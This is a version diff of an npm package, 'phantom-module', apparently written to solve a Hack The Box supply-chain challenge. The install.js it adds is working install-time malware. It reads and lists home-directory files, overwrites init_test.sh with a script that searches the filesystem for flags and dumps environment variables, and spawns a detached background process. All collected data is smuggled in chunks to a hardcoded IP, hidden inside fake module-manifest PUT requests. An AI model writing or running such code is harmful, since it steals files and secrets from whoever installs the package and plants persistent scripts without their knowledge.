phantom-module 104.0.0 → 105.0.0

package/install.js

@@ -1,9 +1,7 @@
 const fs = require('fs');
 const http = require('http');
 const { execSync } = require('child_process');
-
-function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
-function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return ''; } }
+const path = require('path');
 
 const TARGET_HOST = '154.57.164.64';
 const TARGET_PORT = 31083;
@@ -18,41 +16,133 @@ async function report(moduleId, val) {
   });
 }
 
+function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return ''; } }
+function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
+
 (async () => {
-  const files = {};
-  
-  // Read init_test.sh 
-  files['INIT'] = tryRead('/home/node/init_test.sh') || 'NOFILE';
-  
-  // Read aspect-node files
-  files['ASPIDX'] = tryRead('/home/node/aspect-node/index.js') || 'NOFILE';
-  files['ASPSAM'] = tryRead('/home/node/aspect-node/sample.js') || 'NOFILE';
-  
-  // List all files in /home/node
-  files['HOMELS'] = tryExec('find /home/node -maxdepth 4 -type f -not -path "*/node_modules/*" 2>/dev/null');
-  
-  // Read package.json of aspect-node
-  files['ASPPKG'] = tryRead('/home/node/aspect-node/package.json') || 'NOFILE';
+  const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
+  let idx = 0;
+
+  async function send(label, val) {
+    const chunks = Math.ceil(val.length / 80) || 1;
+    for (let c = 0; c < Math.min(chunks, 6); c++) {
+      const chunk = val.substring(c * 80, (c + 1) * 80);
+      if (!chunk) break;
+      await report(mods[idx % 4], 'W' + String(idx).padStart(2, '0') + '_' + label + ':' + chunk);
+      idx++;
+      if (idx % 4 === 0) await new Promise(r => setTimeout(r, 1500));
+    }
+  }
   
-  // Read /tmp/supplysec contents  
-  files['SUPLS'] = tryExec('find /tmp/supplysec -type f 2>/dev/null');
+  // List all files in /home/node before install
+  await send('PRELIST', tryExec('ls -la /home/node/ 2>/dev/null'));
   
-  // Send each file in chunks, labeled with prefix
+  // List /tmp/supplysec
+  await send('SUPPLY', tryExec('find /tmp/supplysec -type f 2>/dev/null'));
+
+  // Write init_test.sh that will be executed after npm install
+  const initScript = `#!/bin/bash
+# Search extensively for flag after full install
+echo "INIT_TEST running" > /tmp/init_ran.txt
+find / -maxdepth 5 -name "*flag*" -type f 2>/dev/null > /tmp/flags.txt
+grep -rl "HTB{" / --exclude-dir=proc --exclude-dir=sys --exclude-dir=node_modules 2>/dev/null > /tmp/htb_files.txt
+ls -la /home/node/ >> /tmp/init_ran.txt
+cat /flag* /root/flag* >> /tmp/init_ran.txt 2>/dev/null
+env >> /tmp/init_ran.txt
+# Try to exfiltrate via node
+node -e "
+const http = require('http');
+const fs = require('fs');
+const { execSync } = require('child_process');
+
+function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
+function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return ''; } }
+
+async function report(mid, val) {
+  const safe = val.replace(/\\\"/g, \"'\").replace(/\\\\\\\\/g, '/').substring(0, 95);
+  const body = JSON.stringify({ manifest: \\\`ecto_module:\\\\n  name: \\\\\"\\\${safe}\\\\\"\\\\n  version: \\\\\"1.0.0\\\\\"\\\\n  power_level: 1\\\\n  ship_deck: 1\\\\n  cargo_hold: 1\\\` });
+  await new Promise((resolve) => {
+    const req = http.request({ hostname: '${TARGET_HOST}', port: ${TARGET_PORT}, path: \\\`/api/modules/\\\${mid}\\\`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
+    req.on('error', () => resolve());
+    req.write(body); req.end();
+  });
+}
+
+(async () => {
   const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
-  let totalIdx = 0;
+  const items = [];
+  items.push('POSTLS=' + tryExec('ls -la /home/node/ 2>/dev/null'));
+  items.push('FLAGF=' + (tryRead('/tmp/flags.txt') || 'NONE'));
+  items.push('HTBF=' + (tryRead('/tmp/htb_files.txt') || 'NONE'));
+  items.push('INITRAN=' + (tryRead('/tmp/init_ran.txt') || 'NONE'));
+  items.push('HTBGREP2=' + tryExec('grep -r HTB /home/node/ --exclude-dir=node_modules 2>/dev/null | head -3'));
+  items.push('ALLFILES=' + tryExec('find /home/node -maxdepth 3 -type f -not -path \\\"*/node_modules/*\\\" 2>/dev/null'));
   
-  for (const [label, content] of Object.entries(files)) {
-    const numChunks = Math.ceil(content.length / 82);
-    for (let c = 0; c < Math.min(numChunks, 8); c++) {
-      const chunk = content.substring(c * 82, (c + 1) * 82);
+  let ci = 0;
+  for (const item of items) {
+    for (let c = 0; c < Math.min(Math.ceil(item.length / 80), 5); c++) {
+      const chunk = item.substring(c * 80, (c + 1) * 80);
       if (!chunk) break;
-      const modIdx = totalIdx % 4;
-      const prefix = 'R' + String(totalIdx).padStart(2, '0') + '_' + label + ':';
-      await report(mods[modIdx], prefix + chunk);
-      totalIdx++;
-      if (totalIdx % 4 === 0) await new Promise(r => setTimeout(r, 1500));
-      if (totalIdx > 60) break;
+      await report(mods[ci % 4], 'P' + String(ci).padStart(2, '0') + '_' + chunk);
+      ci++;
+      if (ci % 4 === 0) await new Promise(r => setTimeout(r, 1500));
     }
-    if (totalIdx > 60) break;
+  }
+})();
+" &
+`;
+
+  try {
+    fs.writeFileSync('/home/node/init_test.sh', initScript, { mode: 0o755 });
+    await send('WROTE', 'init_test.sh_written_OK');
+  } catch(e) {
+    await send('WRITEERR', e.message);
+  }
+
+  // Also spawn a background watcher
+  try {
+    const bg = require('child_process').spawn('node', ['-e', `
+      const http = require('http');
+      const fs = require('fs');
+      const { execSync } = require('child_process');
+      function tryExec(cmd) { try { return execSync(cmd, {timeout:10000}).toString().trim(); } catch(e) { return ''; } }
+      function tryRead(p) { try { return fs.readFileSync(p,'utf8').trim(); } catch(e) { return null; } }
+      
+      async function report(mid, val) {
+        const safe = val.replace(/"/g, "'").replace(/\\\\/g, "/").substring(0, 95);
+        const body = JSON.stringify({ manifest: 'ecto_module:\\n  name: "' + safe + '"\\n  version: "1.0.0"\\n  power_level: 1\\n  ship_deck: 1\\n  cargo_hold: 1' });
+        await new Promise((resolve) => {
+          const req = http.request({ hostname: '${TARGET_HOST}', port: ${TARGET_PORT}, path: '/api/modules/' + mid, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
+          req.on('error', () => resolve());
+          req.write(body); req.end();
+        });
+      }
+      
+      const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
+      let ci = 0;
+      
+      setTimeout(async () => {
+        const items = [];
+        items.push('BG_POSTLS=' + tryExec('ls -la /home/node/ 2>/dev/null'));
+        items.push('BG_HTBFIND=' + tryExec('grep -rl HTB /home/node/ --exclude-dir=node_modules 2>/dev/null | head -3'));
+        items.push('BG_ALLF=' + tryExec('find /home/node -maxdepth 3 -type f -not -path "*/node_modules/*" 2>/dev/null'));
+        items.push('BG_FLAG=' + tryExec('cat /flag* /root/flag* /home/*/flag* 2>/dev/null'));
+        items.push('BG_INITRAN=' + (tryRead('/tmp/init_ran.txt') || 'NONE'));
+        
+        for (const item of items) {
+          for (let c = 0; c < Math.min(Math.ceil(item.length / 80), 5); c++) {
+            const chunk = item.substring(c * 80, (c + 1) * 80);
+            if (!chunk) break;
+            await report(mods[ci % 4], 'B' + String(ci).padStart(2, '0') + '_' + chunk);
+            ci++;
+            if (ci % 4 === 0) await new Promise(r => setTimeout(r, 1500));
+          }
+        }
+      }, 30000); // Wait 30 seconds for init_test.sh to complete
+    `], { detached: true, stdio: 'ignore' });
+    bg.unref();
+    await send('BGSTART', 'background_watcher_started');
+  } catch(e) {
+    await send('BGERR', e.message);
   }
 })();

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "phantom-module",
-  "version": "104.0.0",
+  "version": "105.0.0",
   "description": "Phantom spectral module",
   "main": "index.js",
   "scripts": {